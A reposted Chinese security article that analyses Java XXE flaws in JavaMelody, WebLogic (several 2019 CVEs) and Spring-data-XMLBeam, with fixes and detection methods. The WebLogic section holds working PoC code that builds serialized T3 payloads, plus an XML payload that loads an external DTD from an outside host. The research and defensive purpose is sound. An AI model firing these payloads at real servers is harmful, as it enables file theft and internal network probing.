转载

Java XXE 漏洞典型场景浅析

以上文章由来自作者【 tr1ple 】的有赏投稿,也欢迎广大朋友继续投稿,详情可点击 OSRC重金征集文稿!!! 了解~~

温馨提示:建议投稿的朋友尽量用markdown格式,特别是包含大量代码的文章

Java XXE 漏洞典型场景浅析

0x01前言

XML 的解析过程中若存在外部实体,若不添加安全的XML解析配置,则XML文档将包含来自外部 URI 的数据,这一行为将导致XML External Entity (XXE) 攻击,从而用于拒绝服务攻击,任意文件读取,内网扫描。以前对xxe的认识多停留在php中,从代码层面而言,其形成原因及防护措施较为单一,而java中依赖于其丰富的库,导致解析xml数据的方式有多种,其防御手段也有着种种联系,本文主要从几个cve的分析,了解java中xxe的常用xml解析库、xxe的形成原因、如何挖掘java中的xxe以及java中xxe的防护手段。

0x02 XXE相关分析

1. JavaMelody组件XXE

JavaMelody是一个用来对Java应用进行监控的组件。通过该组件,用户可以对内存、CPU、用户session甚至SQL请求等进行监控,并且该组件提供了一个可视化界面给用户使用。

默认情况下只要添加pom依赖中,其将随web服务一起启动,所以不需要什么权限即可访问此路由,若路径泄露如下图所示本来就会泄露一些敏感信息:

Java XXE 漏洞典型场景浅析

1.1 漏洞点分析

在monitor的filter匹配之后将会对请求的http请求内容做处理获取请求类型,在net/bull/javamelody/PayloadNameRequestWrapper中在处理当content-type为以下两种情况:

<span><span style="font-size: 14px;letter-spacing: 1px;">contentType.startsWith(&quot;application/soap+xml&quot;)</span></span>

<span><span style="font-size: 14px;letter-spacing: 1px;">contentType.startsWith(&quot;text/xml&quot;) || requests.getheader(&quot;SOAPAction&quot;)</span></span>

部分函数调用栈如下图所示:

Java XXE 漏洞典型场景浅析

在content type满足xml数据请求规则后调用parseSoapMethodName来对http请求内容做解析,这个函数就是漏洞所在处

这里使用xmlInputFactor工厂类,该类与DocmentBuilderFactory一样都可以设置一些feature来规范化xml处理过程,那么问题就是默认情况下dtd解析和外部实体都是可以使用的,如下两条配置即为导致xxe的默认配置

<span><span style="font-size: 14px;letter-spacing: 1px;">&lt;tr&gt;&lt;td&gt;javax.xml.stream.isSupportingExternalEntities&lt;/td&gt;&lt;td&gt;Resolve external parsed entities&lt;/td&gt;&lt;td&gt;Boolean&lt;/td&gt;&lt;td&gt;Unspecified&lt;/td&gt;&lt;td&gt;Yes&lt;/td&gt;&lt;/tr&gt;</span></span>

<span><span style="font-size: 14px;letter-spacing: 1px;">&lt;tr&gt;&lt;td&gt;javax.xml.stream.supportDTD&lt;/td&gt;&lt;td&gt;Use this property to request processors that do not support DTDs&lt;/td&gt;&lt;td&gt;Boolean&lt;/td&gt;&lt;td&gt;True&lt;/td&gt;&lt;td&gt;Yes&lt;/td&gt;&lt;/tr&gt;</span></span>

在xmlInputFactor类的文件中就可以找到默认的一些feature,我们可以将feature理解为为了解析xml而提供的配置选项

Java XXE 漏洞典型场景浅析

pom依赖:

<dependency>
<groupId>net.bull.javamelody</groupId>
<artifactId>javamelody-spring-boot-starter</artifactId>
<version>1.73.1</version>
</dependency>

Java XXE 漏洞典型场景浅析

1.2 代码层面修复

那么在该组件的新版本中对应的修复如下图所示,默认情况下在创建xml解析对象之前设置工厂的feature禁用掉dtd和外部实体,从而防御xxe

Java XXE 漏洞典型场景浅析

1.3 如何避免xxe

在实际的开发中,对于xml数据解析流程不需要外部实体参与的情况,设置feature将其禁用。在确定组件版本对xml的解析已经禁用掉外部实体后,也要设计filter来对该功能的访问进行鉴权操作,防止敏感功能被越权访问。

2.Weblogic中的xxe

这节主要分析weblogic中的几个xxe,包括CVE-2019-2647-CVE2019-2650以及CVE2019-2888,那么这几个洞的原因都是weblogic依赖的jar包中涉及xml数据处理时默认情况下没有做好外部实体限制措施,导致可以通过T3协议进行序列化payload发送,从而利用外部实体进行xxe

2.1 漏洞点分析

第一处是Oracle/Middleware/wlserver_10.3/server/lib/weblogic.jar下的weblogic/wsee/reliability/WsrmServerPayloadContext,从weblogic输入流处理到xml数据解析入口的部分调用栈如下图所示:

Java XXE 漏洞典型场景浅析

在WsrmServerPayloadContext的readEndpt方法中直接就能发现存在xml解析,其中使用DocumentBuilderFactory类作为解析工厂类,这里并没有添加任何feature限制外部实体的加载,所以只需要关心var14是否可控

Java XXE 漏洞典型场景浅析

那么在WsrmServerPayloadContext的readExternal方法调用了readEndpt方法,该方法将在反序列化时自动调用,与通常的readObject相类似,而readEndpt中的var14又来自此时的var1(payload 输入流),所以满足可控条件

Java XXE 漏洞典型场景浅析

那么从反序列化到xxe的入口点就是如此,接下来只需要构造满足条件的序列化数据流通过t3协议发送到weblogic的7001端口即可,找到该类的序列化时调用的函数然后跟踪其输出流就行

Java XXE 漏洞典型场景浅析

在writeExternal中判断this.fromEndpt不为null时,调用writeEndpt传入输出流,可以看到this.fromEndpt实际上是EndpointReference的实例,根据方法名以及入口参数盲猜要将该类的实例写进输出流

Java XXE 漏洞典型场景浅析

那么实际上该函数的功能也主要是通过XMLSerializer的serlialize处理EndpointReference的返回值(Element类的实例)后最终存储为字节数组,并在输出流中写入字节数组和其长度,那么XMLSerializer的serialize方法的实现了3种重载,分别可以传入Element,DocumentFragment,Document,那么实际上构造xml的payload时如果使用Element型的重载,那么实际上写入的序列化数据中包含的xml数据外部实体将被解析最终只留下节点元素,所以为了在payload中保留完整的xml的payload,需要使用Document型的重载,因此这里需要重写WsrmServerPayloadContext的writeEndpt方法即可,我们只需删除jar包中对应的class字节码文件重新打包引入,然后本地新建与其包名类名一致的该类即可,从而定制如我们目标相符合的序列化数据(接下来几个weblogic的xxe payload本地构造方法均与此一样)

Java XXE 漏洞典型场景浅析

构造结构如上图所示,我们知道DocumentBuilder的parse处理xml文件后将返回Document,因此我们只需要将处理结果再传入serialize函数即可达成目标

Java XXE 漏洞典型场景浅析

重写部分如下所示:

private void writeEndpt(EndpointReference var1, ObjectOutput var2) throws IOException, ParserConfigurationException, SAXException {

ByteArrayOutputStream var3 = new ByteArrayOutputStream();

OutputFormat var4 = new OutputFormat("XML", (String)null, false);

XMLSerializer var5 = new XMLSerializer(var3, var4);

Document doc = null;

Element element = null;

DocumentBuilderFactory dbFactory = DocumentBuilderFactory.newInstance();

DocumentBuilder dbBuilder = dbFactory.newDocumentBuilder();

doc = dbBuilder.parse(System.getProperty("user.dir")+"/src/main/resources/text.xml");

var5.serialize(doc);

那么根据之前的分析只需赋值his.fromEndpt为EndpointReference的实例,然后我们自己在重写的writeEndpt方法中调用DocumentBuilder的parse解析xml的payload拿到document即可

poc如下:

import weblogic.wsee.addressing.EndpointReference;

import weblogic.wsee.reliability.WsrmServerPayloadContext;

import java.io.FileOutputStream;

import java.io.IOException;

import java.io.ObjectOutputStream;

import java.lang.reflect.Field;

public class weblogicxxe1 {

public static void main(String[] args) throws IOException {

Object instance = getObject();

ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe"));

out.writeObject(instance);

out.flush();

out.close();

}

public static Object getObject() {

EndpointReference fromEndpt = (EndpointReference) new EndpointReference();

WsrmServerPayloadContext wspc = new WsrmServerPayloadContext();

try {

Field f1 = wspc.getClass().getDeclaredField("fromEndpt");

f1.setAccessible(true);

f1.set(wspc, fromEndpt);

} catch (Exception e) {

e.printStackTrace();

}

return wspc;

}

}

生成的poc如下所示,序列化的数据包含完整的xml payload,然后使用t3协议直接打即可,由请求也可以看到的确在反序列化的过程中解析了xml并加载了外部实体

Java XXE 漏洞典型场景浅析

Java XXE 漏洞典型场景浅析

第二处位于Oracle/Middleware/wlserver_10.3/server/lib/weblogic.jar下的weblogic/wsee/message/UnknownMsgHeader类,该类的readExternal方法中直接存在没有任何防御措施的xml解析,使用的仍为DocumentBuilderFactory,从weblogic输入流处理到xml数据解析入口的部分调用栈如下图所示:

Java XXE 漏洞典型场景浅析

在UnknownMsgHeader的readExternal方法中xml解析时的parse方法入口参数var9主要来源于输入流Objectinput,可控,那么只需构造相应的序列化数据即可

Java XXE 漏洞典型场景浅析

找到其writeExternal方法,这里可以看到其写入xml payload时也使用的为XMLSerializer.serialize,这里写入的xmlheader也可以进行替换成xml解析后的Document类的实例,但是这里要用到this.qname属性,并向输出流写入该属性的三个值,由于这三个值均为字符串并且并未规定格式,因此我们只需任意赋值即可

Java XXE 漏洞典型场景浅析

修改其writeExternal方法如下:

public void writeExternal(ObjectOutput var1) throws IOException{

var1.writeUTF("tr1ple");

var1.writeUTF("tr1ple");

var1.writeUTF("tr1ple");

ByteArrayOutputStream var2 = new ByteArrayOutputStream();

OutputFormat var3 = new OutputFormat("XML", (String)null, false);

XMLSerializer var4 = new XMLSerializer(var2, var3);

Document doc = null;

DocumentBuilderFactory dbFactory = DocumentBuilderFactory.newInstance();

DocumentBuilder dbBuilder = null;

try {

dbBuilder = dbFactory.newDocumentBuilder();

doc = dbBuilder.parse(System.getProperty("user.dir")+"/src/main/resources/text.xml");

} catch (ParserConfigurationException e) {

e.printStackTrace();

} catch (SAXException e) {

e.printStackTrace();

}

var4.serialize(doc);

poc:

import org.w3c.dom.Element;

import weblogic.wsee.message.UnknownMsgHeader;

import java.io.FileOutputStream;

import java.io.IOException;

import java.io.ObjectOutputStream;

import java.lang.reflect.Field;

public class weblogicxxe2 {

public static void main(String[] args) throws IOException {

Object instance = getObject();

ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe3"));

out.writeObject(instance);

out.flush();

out.close();

}

public static Object getObject() {

UnknownMsgHeader umh = new UnknownMsgHeader();

return umh;

}

}

生成序列化数据后用t3协议发送即可触发xxe

第三处位于Oracle/Middleware/wlserver_10.3/server/lib/weblogic.jar下的weblogic/wsee/reliability/WsrmSequenceContext类,在其readEndpt方法中同样存在与前两个分析中相似的处理流程,使用DocumentBuilder来解析包含xml payload的输入流,从weblogic输入流处理到xml数据解析入口的部分调用栈如下图所示:

Java XXE 漏洞典型场景浅析

在其readExternal方法中调用了readEndpt方法,这里var2为我们构造的xml数据的长度,所以肯定大于零

Java XXE 漏洞典型场景浅析

Java XXE 漏洞典型场景浅析

那么只需要按照其writeEndpt规范的逻辑写就行,我们只需在调用serialize前控制其入口参数的值即可

Java XXE 漏洞典型场景浅析

更改后的writeExternal如下:

private void writeEndpt(EndpointReference var1, ObjectOutput var2) throws IOException {

try {

DocumentBuilderFactory var3 = DocumentBuilderFactory.newInstance();

var3.setNamespaceAware(true);

DocumentBuilder var4 = var3.newDocumentBuilder();

Document var5 = var4.newDocument();

Element var6 = var5.createElementNS(this.rmVersion.getNamespaceUri(), weblogic.wsee.reliability.WsrmConstants.Element.ACKS_TO.getQualifiedName(this.rmVersion));

DOMUtils.addNamespaceDeclaration(var6, this.rmVersion.getPrefix(), this.rmVersion.getNamespaceUri());

var1.write(var6);

ByteArrayOutputStream var7 = new ByteArrayOutputStream();

OutputFormat var8 = new OutputFormat("XML", (String)null, false);

XMLSerializer var9 = new XMLSerializer(var7, var8);

Document doc = null;

DocumentBuilderFactory dbFactory = DocumentBuilderFactory.newInstance();

DocumentBuilder dbBuilder = dbFactory.newDocumentBuilder();

doc = dbBuilder.parse(System.getProperty("user.dir")+"/src/main/resources/text.xml");

var9.serialize(doc);

poc:

import weblogic.wsee.addressing.EndpointReference;

import weblogic.wsee.reliability.WsrmSequenceContext;

import java.io.FileOutputStream;

import java.io.IOException;

import java.io.ObjectOutputStream;

import java.lang.reflect.Field;

public class weblogicxxe3 {

public static void main(String[] args) throws IOException {

Object instance = getObject();

ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe4"));

out.writeObject(instance);

out.flush();

out.close();

}


public static Object getObject() {

EndpointReference end = new EndpointReference();

WsrmSequenceContext umh = new WsrmSequenceContext();


try {

Field f1 = umh.getClass().getDeclaredField("acksTo");

f1.setAccessible(true);

f1.set(umh, end);


} catch (Exception e) {

e.printStackTrace();

}

return umh;

}

}

第四处位于Oracle/Middleware/wlserver_10.3/server/lib/weblogic.jar下的weblogic/wsee/wstx/internal/ForeignRecoveryContext类,从weblogic输入流处理到反序列化入口的过程部分调用栈如下图所示:

Java XXE 漏洞典型场景浅析

在ForeignRecoveryContext的类文件定义中如果直接找并未发现xml的处理流程,该处的利用相较于前三处构造来说还是稍微精巧一点,需要了解一下代码的基本处理逻辑。网上也没找到相应的具体分析,只有xxlegend师傅的一些简单复现分析,先给出其poc

import weblogic.wsee.wstx.internal.ForeignRecoveryContext;
import weblogic.wsee.wstx.wsat.Transactional.Version;
import javax.xml.ws.EndpointReference;
import javax.transaction.xa.Xid;
import javax.xml.transform.Result;
import javax.xml.transform.stream.StreamResult;
import java.io.*;
import java.lang.reflect.Field;
 
public class weblogicxxe4 {
public static void main(String[] args) throws IOException {
        Object instance = getObject();
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe1"));
        out.writeObject(instance);
        out.flush();
        out.close();
    }
 
public static class MyEndpointReference extends EndpointReference {
 
@Override
public  void writeTo(Result result){
byte[] tmpbytes = new byte[4096];
int nRead;
try{
                InputStream is = new FileInputStream(System.getProperty("user.dir")+"/src/main/resources/text.xml");
 
while((nRead=is.read(tmpbytes,0,tmpbytes.length)) != -1){
                    ((StreamResult)result).getOutputStream().write(tmpbytes,0,nRead);
                }
            }catch (Exception e){
                e.printStackTrace();
            }
return;
        }
    }
public static Object getObject() {
        Xid xid = new weblogic.transaction.internal.XidImpl();
        Version v = Version.DEFAULT;
        ForeignRecoveryContext frc = new ForeignRecoveryContext();
try{
            Field f = frc.getClass().getDeclaredField("fxid");
            f.setAccessible(true);
            f.set(frc,xid);
            Field f1 = frc.getClass().getDeclaredField("epr");
            f1.setAccessible(true);
            f1.set(frc, new MyEndpointReference());
            Field f2 = frc.getClass().getDeclaredField("version");
            f2.setAccessible(true);
            f2.set(frc,v);
        }catch(Exception e){
            e.printStackTrace();
        }
return frc;
    }
}

先看看其writeExternal方法,箭头所指之处就是构造payload的关键之处,this.epr是抽象类EndpointReference的对象,所以这里其定义的write函数肯定要被其子类实现,那么这里实际上是将结果写入到var2中,那么poc中只需要继承EndpointReference并读取我们的xml payload写入到var2中即可,之后将通过var1写入到序列化数据中

Java XXE 漏洞典型场景浅析

那么在其反序列化过程中调用readExternal将通过readFrom方法读取我们的xml payload,接下来就是一大段初始化的过程,直到加载javax.xml.ws.spi.Provider后调用其readEndpointReference来对xml数据流进行读取

从ForeignRecoveryContext的readExternal到漏洞触发点部分调用栈如下图所示:

Java XXE 漏洞典型场景浅析

接下来就到了xxe的触发点,这里解析xml的类也与之前分析的三个cve不同,这里的Unmarshaller 类将 XML 数据反序列化解析为java对象,然而这里并未添加任何防护措施,因此导致可以注入外部实体,从而产生xxe

Java XXE 漏洞典型场景浅析

第五处存在于Oracle/Middleware/wlserver_10.3/server/lib/weblogic.jar下的weblogic/servlet/ejb2jsp/dd/EJBTaglibDescriptor类,在该类的load函数中存在使用DocumentBuilderFactory进行xml解析,然后该工厂类是weblogic实现的子类,其中根据本地的配置weblogic.xml.jaxp.allow.externalDTD的值来选择是否设置以下两条featue来限制外部实体的加载,然而默认情况下可以加载外部实体,因此这两条feature失效

<span><span style="font-size: 14px;letter-spacing: 1px;">his.delegate.setAttribute(&quot;http://xml.org/sax/features/external-general-entities&quot;, allow_external_dtd);</span></span>

<span><span style="font-size: 14px;letter-spacing: 1px;">this.delegate.setAttribute(&quot;http://xml.org/sax/features/external-parameter-entities&quot;, allow_external_dtd);</span></span>

weblogic 输入流处理到反序列化入口的过程部分调用栈如下图所示:

Java XXE 漏洞典型场景浅析

在其load函数中只需控制var4即可,其为输入流可本地构造

Java XXE 漏洞典型场景浅析

那么只需要找到在何处调用了load方法即可,可以看到在其反序列化时调用的readExternal中将调用load方法,并且从数据流走向可以判断parse解析的入口参数是可控的

Java XXE 漏洞典型场景浅析

接下来只需要按照writeExternal的逻辑构造序列化数据即可,其调用toString来传入EJBTaglibDescriptor的实例

Java XXE 漏洞典型场景浅析

在tostring方法中又调用该实例的toxml来将程序原来想要输出的数据输出到xmlwriter中并最终返回一个xml字符串输出为序列化数据,其中xmlwriter的println方法是真正负责写入数据的,其写入的即为xml数据

Java XXE 漏洞典型场景浅析

那么我们选择直接控制写入xmlwriter的数据即可

Java XXE 漏洞典型场景浅析

重写toxml如下:

public void toXML(XMLWriter var1) {
        var1.println("<?xml version=/"1.0/" encoding=/"utf-8/"?>/n" +
                "<!DOCTYPE data SYSTEM /"http://192.168.3.199:8989/1.dtd/" [/n" +
                "        <!ELEMENT data (#PCDATA)>/n" +
                "        ]>/n" +
                "<data>data</data>");
    }
}

然后本地覆盖原生EJBTaglibDescriptorc.class即可

poc:

import weblogic.servlet.ejb2jsp.dd.EJBTaglibDescriptor;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
 
public class weblogicxxe5 {
public static void main(String[] args) throws IOException {
        Object instance = getObject();
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe3"));
        out.writeObject(instance);
        out.flush();
        out.close();
    }
public static Object getObject() {
        EJBTaglibDescriptor umh = new EJBTaglibDescriptor();
return umh;
    }
}

2.2 代码层面修复

那么weblogic的这几个xxe都要多亏与T3协议的助攻,只需要在weblogic类加载路径中可以利用的类,只需要本地构造好payload,然后将序列化的数据以T3协议格式发送至其7001端口即可,那么weblogic在更新的补丁中,也针对这些类添加了相应的feature禁掉了外部实体,从而防止进行xxe攻击

http://xml.org/sax/features/external-general-entities
http://xml.org/sax/features/external-parameter-entities
http://apache.org/xml/features/nonvalidating/load-external-dtd

并且通过以下属性禁用掉了xinclude并关掉了外部实体引用

<span><span style="font-size: 14px;letter-spacing: 1px;">setXIncludeAware(false)</span></span>

<span><span style="font-size: 14px;letter-spacing: 1px;">setExpandEntityReferences(false)</span></span>

2.3 如何避免xxe

2.2中从代码层面上单个点添加代码,实际上这种方法只是单纯防御了这几个类,如果在后续的开发中加入新的jar包中存在类有未添加feature的xml解析操作,并且能够进行xml操作的类可以进行序列化,那么仍然面临着导致xxe的风险。T3协议是非常重要的WebLogic内部的通讯协议,若直接禁用T3协议则有可能影响到正常业务运行,那么可以在weblogic控制台的筛选器配置中设置连接筛选器规则进行白名单限制,选择weblogic.security.net.ConnectionFilterImpl,将允许的IP地址或网段设置为allow,然后将除此之外的所有IP地址或网段设置为deny。

3. Spring-data-XMLBeam XXE

3.1 漏洞点分析

该洞主要xmlbeam这个库的问题,而spring-data-commons又使用了xmlbeam来处理客户端传输的xml文件,解析其内容然后服务端响应返回,那么在解析xml中默认允许加载外部实体,从而导致xxe,属于有回显xxe,部分调用栈如下图所示,其中由Streaminput的readDocument进入xml数据的解析

Java XXE 漏洞典型场景浅析

又是熟悉的DocumentBuilder,可以看到在创建解析工厂以及调用parse解析之间并未添加任何feature来限制外部实体

Java XXE 漏洞典型场景浅析

pom依赖:

<dependency>
<groupId>org.xmlbeam</groupId>
<artifactId>xmlprojector</artifactId>
<version>1.4.13</version>
</dependency>
<dependency>
<groupId>org.springframework.data</groupId>
<artifactId>spring-data-commons</artifactId>
<version>2.0.5.RELEASE</version>
</dependency>

Java XXE 漏洞典型场景浅析

3.2 代码层面修复

Java XXE 漏洞典型场景浅析

xmlbeam用的为DocumentBuilderFactory来创建dom工厂,修复的为xmlbeam的处理xml的处理文件,修复后主要为设置一些features,用于禁止外部实体的加载,另外还添加了禁止内联 DocTypeDtd的加载,feature通过dom工厂的setFeature函数进行设置

Java XXE 漏洞典型场景浅析

本质处理流程没问题,只是处理前需要做一些防护措施,对于不需要的功能直接禁用掉

3.3 如何避免xxe

对于1.4.15版本之前未升级的xmlxbeam库,我们可自己在创建xml解析工厂类实例后为其设置feature禁用掉外部实体或者直接升级依赖版本到1.4.15以后。

0x03 JAVA中XXE 挖掘

java中解析xml的库众多,那么白盒中可以通过正则匹配导入相应xml解析库的类,再加以手工检测来判断是否存在,比如正则匹配以下常用库

javax.xml.parsers.DocumentBuilderFactory;
javax.xml.parsers.SAXParser
javax.xml.transform.TransformerFactory
javax.xml.validation.Validator
javax.xml.validation.SchemaFactory
javax.xml.transform.sax.SAXTransformerFactory
javax.xml.transform.sax.SAXSource
org.xml.sax.XMLReader
org.xml.sax.helpers.XMLReaderFactory
org.dom4j.io.SAXReader
org.jdom.input.SAXBuilder
org.jdom2.input.SAXBuilder
javax.xml.bind.Unmarshaller
javax.xml.xpath.XpathExpression
javax.xml.stream.XMLStreamReader
org.apache.commons.digester3.Digester

afanti师傅在挖掘weblogic的xxe时即通过匹配可序列化以及利用xml相关解析的库然后手工检测,其项目地址为:https://github.com/Afant1/JavaSearchTools,那么根据工具要求首先要通过jd-jui将jar包中的字节码文件恢复为java文件

Java XXE 漏洞典型场景浅析

以默认格式保存后即可使用javasearchtools.jar进行源码扫描

如下图所示该工具内置的正则能够匹配出我们之前分析的几个存在xxe漏洞的文件,当然该工具可能存在误报,只是作为辅助来缩小我们搜索的范围,那么接下来只需手工去扫描出来的类中去逐个确定即可

Java XXE 漏洞典型场景浅析

那么该工具判断xxe核心就是如下图所示的两个布尔值

Java XXE 漏洞典型场景浅析

分别是两种正则匹配规则,xml匹配大量内置xml解析库,是否可反序列化去匹配反序列化中的关键字,同时满足这两个条件的类将被筛选

Java XXE 漏洞典型场景浅析

Java XXE 漏洞典型场景浅析

那么挖掘其他地方的xxe时也可以使用这种正则匹配的方法来辅助检测,比如对于上面分析JavaMelody和xbeam时并不需要类具有序列化的特性,因此灵活根据实际制定匹配规则即可在其他组件的jar包中寻找可能存在xxe的点

0x04 总结

经过上面的分析,我们能够了解java中xxe的形成原因以及哪些xml处理类默认情况下能够导致xxe,当然还有其它类本文中可能未曾提及,但道理都是相通的,本文中分析的JavaMelody、Weblogic以及xbeam核心问题还是在涉及xml数据解析时引入外部可控的xml数据,但自身并未考虑是否可能产生xxe漏洞,未做到禁用外部实体的防御措施。https://find-sec-bugs.github.io/这个网站上也列出了常见的xml处理库的标准防御方法,那么总的来说,基于xxe的防御主要为以下三种:

1.设置feature为XMLConstants.FEATURE_SECURE_PROCESSING为true

这种方法实际上还是会加载外部实体但是会调用SecuritySupport.checkAccess中进行判断,判断中将外部实体的协议和允许的白名单协议进行匹配,因为XMLConstants.FEATURE_SECURE_PROCESSING将设置Property.ACCESS_EXTERNAL_DTD和Property.ACCESS_EXTERNAL_SCHEMA两个属性设置为空,而解析节点之前将根据这两个属性来设置fAccessExternalDTD为空,接着解析节点过程中如果加载外部实体为true,所以会进入checkaccess函数里面以fAccessExternalDTD作为白名单协议数组,而其值已经被置空,所以实际上所有协议被禁用,从而以此方式来达到防御xxe,比如效果如下所示

2.设置feature的http://apache.org/xml/features/disallow-doctype-decl为true

从该feature的字面意思也能猜到设置该值为true实际上禁用了(dtd)文档定义类型,在解析xml文件的过程中解析Doctype时将判断fDisallowDoctype属性是否为true,若为true则直接报错,所以这么设置就彻底杜绝了xxe漏洞,这种方法完全杜绝了所有dtd的声明,包括内部实体

3.如果想使用内部实体,单纯禁用外部实体则设置以下两个值即可,则不会进行doctype的解析,从而不会报错,xml解析其他实体正常进行

FEATURE = "http://xml.org/sax/features/external-parameter-entities";
dbf.setFeature(FEATURE, false);
FEATURE = "http://xml.org/sax/features/external-general-entities";
dbf.setFeature(FEATURE, false); 

参考:

https://find-sec-bugs.github.io/bugs.htm#XXE_DOCUMENT

https://xz.aliyun.com/t/7105#toc-3

https://paper.seebug.org/906/ 

https://xz.aliyun.com/t/7272#toc-11

点击阅读全文可跳转到网页:作者将weblogic的一些调试脚本传到github,方便需要学习的师傅复现调试。

Java XXE 漏洞典型场景浅析

原文  https://mp.weixin.qq.com/s/84Uz63wA2u-5DpZp3SE1jw
正文到此结束
Loading...